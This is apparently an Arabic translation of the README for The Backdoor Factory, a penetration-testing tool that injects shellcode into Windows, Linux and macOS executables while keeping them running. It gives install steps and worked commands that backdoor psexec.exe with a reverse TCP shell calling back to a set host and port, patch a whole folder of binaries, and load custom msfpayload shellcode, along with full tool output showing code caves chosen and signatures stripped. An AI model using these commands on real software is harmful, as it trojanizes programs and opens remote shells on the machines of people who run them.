تصحيح ثنائيات PE وELF وMach-O باستخدام الشيلكود — نسخة جديدة قيد التطوير، متاحة للداعمين فقط.
للمتخصصين والباحثين في مجال الأمن فقط.
الهدف من BDF هو تصحيح (patch) الملفات التنفيذية الثنائية بشيلكود (shellcode) يريده المستخدم، ثم متابعة التنفيذ الطبيعي للحالة قبل التصحيح.
Black Hat USA 2015:
الفيديو: https://www.youtube.com/watch?v=OuyLzkG16Uk
الورقة: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
الفيديو: https://archive.org/details/joshpitts_shmoocon2015
الورقة: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
الفيديو: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
الفيديو: http://www.youtube.com/watch?v=jXLb2RNX5xs
عرض وحدة الحقن: http://www.youtube.com/watch?v=04aJAex2o3U
الشرائح: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
تواصل مع المطوّر عبر:
IRC:
irc.freenode.net #BDFactory
تويتر:
@midnite_runr
بموجب رخصة BSD ذات البنود الثلاثة
انظر الويكي: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####لاستخدام OnionDuke يجب أن تكون على جهاز بمعمارية Intel لأن aPLib لا يدعم شرائح ARM حتى الآن.
يمكن تثبيت محرك Capstone من PyPi باستخدام:
sudo pip install capstone
Pefile، الأحدث:
https://code.google.com/p/pefile/
osslsigncode (مضمّن في المستودع):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
التثبيت على Kali:
apt-get update
apt-get install backdoor-factory
التثبيت على أنظمة *NIX/MAC الأخرى:
./install.sh
سيقوم هذا بتثبيت Capstone بإصدار 3.01 باستخدام pip، وتثبيت pefile.
التحديث:
./update.sh
الأنظمة المدعومة:
Windows PE x86/x64، ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32)،
وMach-O x86/x64، وتلك الصيغ في ملفات FAT
الملفات المضغوطة: PE UPX x86/x64
تجريبي: OpenBSD x32
بعض الملفات التنفيذية تحتوي على حمايات مدمجة، وبالتالي لن يعمل هذا على جميع الملفات الثنائية. يُنصح باختبار الملفات الثنائية المستهدفة قبل نشرها للعملاء أو استخدامها في التمارين. أنا على وشك تجاوز NSIS، لذا فإن تجاوز هذه الفحوصات سيُضاف في المستقبل.
الشكر الجزيل لـ Ryan O'Neill --ryan 'at' codeslum <d ot> org--
لولاه، لكنت ما زلت أحاول القيام بأشياء غبية
بصيغة elf.
وشكرًا أيضًا لـ Silvio Cesare على ورقته البحثية الصادرة عام 1998
(http://vxheaven.org/lib/vsc01.html) التي تستند إليها تقنيات تصحيح ELF هذه.
./backdoor.py -h Usage: backdoor.py [options]
يمكنه العثور على جميع فجوات الكود (codecaves) في ملف EXE/DLL.
افتراضيًا، يمسح المؤشر إلى جدول شهادات PE، مما يلغي توقيع الملف الثنائي.
يمكنه حقن الشيلكود في فجوات الكود أو في قسم جديد.
يمكنه معرفة ما إذا كان الملف الثنائي PE يتطلب صلاحيات مرتفعة للتشغيل.
عند اختيار فجوات الكود، يمكنك استخدام الأوامر التالية:
-Jump (j)، للقفز بين فجوات الكود
-Single (s)، لتصحيح كل الشيلكود في فجوة واحدة
-Append (a)، لإنشاء فجوة كود
-Ignore (i or q)، لا بأس، تجاهل هذا الملف الثنائي
يمكنه تجاهل ملفات DLL
تصحيح جدول الاستيراد
التصحيح التلقائي (-m automtic)
Onionduke (-m onionduke)
يوسّع مقطع النص (TEXT SEGMENT) بمقدار 1000 بايت ويحقن الشيلكود في ذلك القسم من الكود.
تصحيح قسم ما قبل النص وإزالة التوقيع
يمكن للمستخدم:
-توفير شيلكود مخصص.
-تصحيح مجلد من الملفات التنفيذية/ملفات DLL.
-اختيار تصحيح الملفات الثنائية x32 أو x64 فقط.
-تضمين BDF في مشاريع بايثون الأخرى، انظر إلى pebin.py وelfbin.py
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
هذا سيشغّل calc.exe على محطة عمل ويندوز الهدف. مستوى 1337. اختراق عظيم. واو.